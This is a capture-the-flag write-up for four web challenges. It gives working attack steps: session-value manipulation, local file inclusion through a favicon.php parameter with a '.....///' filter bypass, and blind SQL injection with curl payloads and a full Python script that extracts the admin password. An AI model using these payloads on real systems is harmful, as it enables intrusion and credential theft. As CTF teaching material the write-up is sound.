This post includes the following writeups:
- Unfinished business (100pts)
- Authenticate your way to admin (150pts)
- El33t Articles Hub (200pts)
- Animal attack (200pts)
Unfinished business (100pts)
This challenge presents a login prompt and a nice option of making yourself admin.
It was unusual that the organizers decided to reuse account credentials for the challenges themselves. This was one of those challenges.
After logging in we see a success message:
Attempting to visit admin.php, we get redirected to the same intermediate page.
The redirect looked a little suspicious, so it seemed right to check this using curl:
After editing out extra headers, we get the flag without the redirect:
$ curl 'http://128.199.224.175:25000/admin.php' -H 'Cookie: PHPSESSID={REDACTEDREDACTEDREDACTED}' <!DOCTYPE html> <html> <head> <title>Admin Dashboard</title> </head> <body> <center> <h4> Redirect <br><br> The Admin panel is under construction. Redirecting ... </h4> <br><br> Flag :- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)} </center> </body> </html>
Authenticate your way to admin (150pts)
This challenge also used the CTF creds to auth, slightly odd, but when we login we get the following page:
They also included some source files for this challenge, notably this included:
$id_type = $_SESSION['id_type']; $id = $_SESSION['id']; ... <?php require "sayings.php"; printf(get_random_saying()); echo "<br><br>"; if($id === 'admin' && $id_type === 'team_name') printf(output_flag()); ?>
In login.php we also see $_SESSION values being set without condition:
$type = $_POST['id_type']; $identifier = $_POST['identifier']; $password = $_POST['password']; $_SESSION['id'] = $identifier;
This means we could probably set the id & id_type to 'admin' and 'team_name' respectively without any verification, when attempting this we get a failure message:
This doesn't stop us from visiting homepage.php with our newly saved admin session:
El33t Articles Hub (200pts)
This challenge was a lot of fun and had a nice distraction!
First clicking on a link, we notice we're redirected to a page with some content, and the url contains:
http://128.199.224.175:22000/?file=Morning%20Rituals
This immediately invokes the idea of LFI. Playing around a little, we start to get errors filtering keywords such as php: to mitigate attacks such as php://filter.
After looking around for other potential vulnerabilities, something odd pops up:
<link rel='shortcut icon' href='favicon.php?id=3' type='image/x-icon'>
Why would a favicon be a php file, and why would it have an id? This is pure fish sauce.
Let's try to LFI it!
$ curl http://128.199.224.175:22000/favicon.php\?id\=./index.php No files named './favicons/./index.php.png', './favicons/./index.php.ico' or './favicons/./index.php.php' found
Perfect. Looks horrible.
Let's grab index.php source:
$ curl http://128.199.224.175:22000/favicon.php\?id\=../index
index.php snippet:
<!DOCTYPE html> <html> <head> <?php $favicon_id = mt_rand(1,7); echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>"; ?> ... <?php error_reporting(0); require "fetch.php"; require "helpers.php"; $filename = !empty($_GET['file']) ? $_GET['file'] : ""; if($filename !== "") { $filename = sanitize($filename); $file_contents = read_article($filename); echo "<p>"; echo $file_contents; echo "</p>"; ...
It looks like there are other php files to dump (favicon.php, fetch.php, helpers.php):
$ curl http://128.199.224.175:22000/favicon.php\?id\=../favicon > favicon.php $ curl http://128.199.224.175:22000/favicon.php\?id\=../fetch > fetch.php $ curl http://128.199.224.175:22000/favicon.php\?id\=../helpers > helpers.php
Grepping for the flag we see the match:
$ grep flag * helpers.php: $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
Visiting this url we get the flag:
After walking through this challenge again, it seems the flag was locked down so the technique above wouldn't work. So as an addition to this writeup, let's walk through the next steps after direct flag access has been denied.
Looking at the files again there was a filter for the first LFI:
$bad_chars = array("./", "../"); foreach ($bad_chars as $value) { $filename = str_replace($value, "", $filename); }
Playing around in a local/online PHP repl helps with this, we end up with the new url:
http://128.199.224.175:22000/?file=.....///secret//flag_7258689d608c0e2e6a90c33c44409f9d
This utilizes two LFI bugs, which is a nice combo to get the flag:
Animal attack (200pts)
As the name implies on this one, we're given a database of animal spies, and it hints at the possibility of SQL Injection with the search box.
Trying a very simple injection, we get a successful result:
We can check if it's really SQL Injection and not just a rough match by checking the failing condition 1=2:
Looks like we have something! Now we just need to union select and we should be done right?
The next query was:
alix' union select * from users
They seem to have blocked the keyword 'union' from the input. We'll have to get more creative.
Without any reflected errors and the blocking of keywords, it made sense to go the blind sql injection route.
This is a good paper on blind sqli which was followed initially during the CTF - https://www.exploit-db.com/papers/13045/
First it would be nice to go through quicker iterations for searching. Using the same method above to copy the cURL value, we get a simplified version on the command line. Note the web application base64 encoded the query before sending it off, so we do the same:
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64)
To identify if the query succeeded or failed we can grep for Alix:
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(echo -en "alix'\n and 1=1 #" | base64) | grep Alix <b> Name : </b> Alix <br>
In the exploit-db paper by Marezzi, it mentions existence checks for columns, we'll perform the same here:
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and (select substring(concat(1,password),1,1) from users where username=\"admin\" limit 0,1)=1 #".encode("base64").replace("\n", "")') | grep Alix
With this we are able to tell there is a users table with an admin user and a password column.
Now we can enumerate which characters are in the password by using character range comparisons.
Starting with the first character, we can identify that it starts with the known flag format 'pctf{':
curl -L 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))=112 #".encode("base64").replace("\n", "")') | grep Alix
That Passes! So now to enumerate other characters.
To find other characters, we iterate through the potential character space (python's string.printable is fine for this). Once we reach the point where the current character succeeds and the next fails, we know the next is part of the password. This may become clear in the following example:
We know 'p' is the beginning of the flag, when we iterate through all possible characters we reach 'o'. The check 'p' > 'o' succeeds. Next we check if 'p' > 'p', this obviously fails, and we know that 'p' is the next match for our password.
$ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>111 #".encode("base64").replace("\n", "")') | grep Alix <b> Name : </b> Alix <br> $ curl -s 'http://128.199.224.175:24000/' --data "spy_name="$(python -c 'print "alix'"'"' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),1,1))>112 #".encode("base64").replace("\n", "")') | grep Alix
We'll also want to make this process more efficient by introducing a binary search while traversing through the possible characters.
This was the final client for the challenge:
#!/usr/bin/env python import requests checkRange = range(9, 126) BASE = "alix' and ascii(substring((SELECT password from users where username=\"admin\" limit 0,1),{},1))>{} #" def bsearch(pos): min = 9 max = 126 while True: if max < min: return -1 m = (min + max) // 2 first = request(pos, m) second = request(pos, m + 1) if first and not second: return m + 1 elif first and second: min = m + 1 else: max = m - 1 def request(pos, char): payload = BASE.format(pos, char).encode('base64') r = requests.post('http://128.199.224.175:24000/', { "spy_name": payload }) return 'Alix' in r.text def main(): flag = '' pos = 1 while '}' not in flag: flag += chr(bsearch(pos)) print 'Flag: {}'.format(flag) pos += 1 print 'Result: {}'.format(flag) if __name__ == '__main__': main()
Running the client we get the flag: